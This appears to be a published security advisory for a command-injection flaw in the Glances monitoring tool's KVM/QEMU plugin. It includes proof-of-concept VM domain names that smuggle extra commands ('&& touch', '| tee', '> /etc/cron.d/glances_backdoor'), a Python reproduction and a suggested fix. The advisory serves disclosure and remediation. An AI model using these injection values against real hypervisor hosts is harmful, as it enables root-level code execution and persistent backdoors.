id: PYSEC-2026-2497
published: "2026-07-13T15:46:22.772744Z"
modified: "2026-07-13T16:04:09.233764Z"
aliases:
- CVE-2026-46606
- GHSA-v5r2-qh84-fjx5
summary: Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py
details: "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204  (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = ''\n    for c in cmd.split('&&'):        # '&&' → two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # '>' is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `&&`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `>`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `&&` operator to chain a second command:\n\n```xml\n<domain type=\"kvm\">\n  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>\n  <memory>131072</memory>\n  <vcpu>1</vcpu>\n  <os><type arch=\"x86_64\">hvm</type></os>\n</domain>\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB && touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`>`) example**\n\nDomain name: `\"productionDB > /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB && id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, 'domstats', '--nowait', domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---"
affected:
- package:
    name: glances
    ecosystem: PyPI
    purl: pkg:pypi/glances
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 4.5.5
  versions:
  - 1.3.1
  - 1.3.2
  - 1.3.3
  - 1.3.4
  - 1.3.5
  - 1.3.6
  - 1.3.7
  - "1.4"
  - 1.4.1
  - 1.4.1.1
  - 1.4.2
  - 1.4.2.1
  - "1.5"
  - 1.5.1
  - 1.5.2
  - "1.6"
  - 1.6.1
  - "1.7"
  - 1.7.1
  - 1.7.2
  - 1.7.3
  - 1.7.4
  - 1.7.5
  - 1.7.6
  - 1.7.7
  - "2.0"
  - 2.0.1
  - "2.1"
  - 2.1.1
  - 2.1.2
  - "2.10"
  - "2.11"
  - 2.11.1
  - "2.2"
  - 2.2.1
  - "2.3"
  - "2.4"
  - 2.4.1
  - 2.4.2
  - "2.5"
  - 2.5.1
  - "2.6"
  - 2.6.1
  - 2.6.2
  - "2.7"
  - 2.7.1
  - "2.8"
  - 2.8.1
  - 2.8.2
  - 2.8.3
  - 2.8.4
  - 2.8.5
  - 2.8.6
  - 2.8.7
  - 2.8.8
  - 2.9.0
  - 2.9.1
  - "3.0"
  - 3.0.1
  - 3.0.2
  - 3.1.0
  - 3.1.1
  - 3.1.2
  - 3.1.3
  - 3.1.4
  - 3.1.4.1
  - 3.1.5
  - 3.1.6
  - 3.1.6.1
  - 3.1.6.2
  - 3.1.7
  - 3.2.0
  - 3.2.1
  - 3.2.2
  - 3.2.3
  - 3.2.3.1
  - 3.2.4
  - 3.2.4.1
  - 3.2.4.2
  - 3.2.5
  - 3.2.6.1
  - 3.2.6.2
  - 3.2.6.3
  - 3.2.6.4
  - 3.2.7
  - 3.3.0
  - 3.3.0.1
  - 3.3.0.2
  - 3.3.0.3
  - 3.3.0.4
  - 3.3.1
  - 3.3.1.1
  - 3.4.0
  - 3.4.0.1
  - 3.4.0.2
  - 3.4.0.3
  - 3.4.0.4
  - 3.4.0.5
  - 4.0.1
  - 4.0.2
  - 4.0.3
  - 4.0.4
  - 4.0.5
  - 4.0.6
  - 4.0.7
  - 4.0.8
  - 4.1.0
  - 4.1.1
  - 4.1.2
  - 4.2.0
  - 4.2.1
  - 4.3.0
  - 4.3.0.1
  - 4.3.0.3
  - 4.3.0.4
  - 4.3.0.5
  - 4.3.0.6
  - 4.3.0.7
  - 4.3.0.8
  - 4.3.1
  - 4.3.2
  - 4.3.3
  - 4.4.0
  - 4.4.1
  - 4.5.0
  - 4.5.0.1
  - 4.5.0.2
  - 4.5.0.3
  - 4.5.0.4
  - 4.5.0.5
  - 4.5.1
  - 4.5.2
  - 4.5.3
  - 4.5.4
references:
- type: WEB
  url: https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5
- type: PACKAGE
  url: https://github.com/nicolargo/glances
- type: WEB
  url: https://github.com/nicolargo/glances/releases/tag/v4.5.5
- type: PACKAGE
  url: https://pypi.org/project/glances
- type: ADVISORY
  url: https://github.com/advisories/GHSA-v5r2-qh84-fjx5
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-46606
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H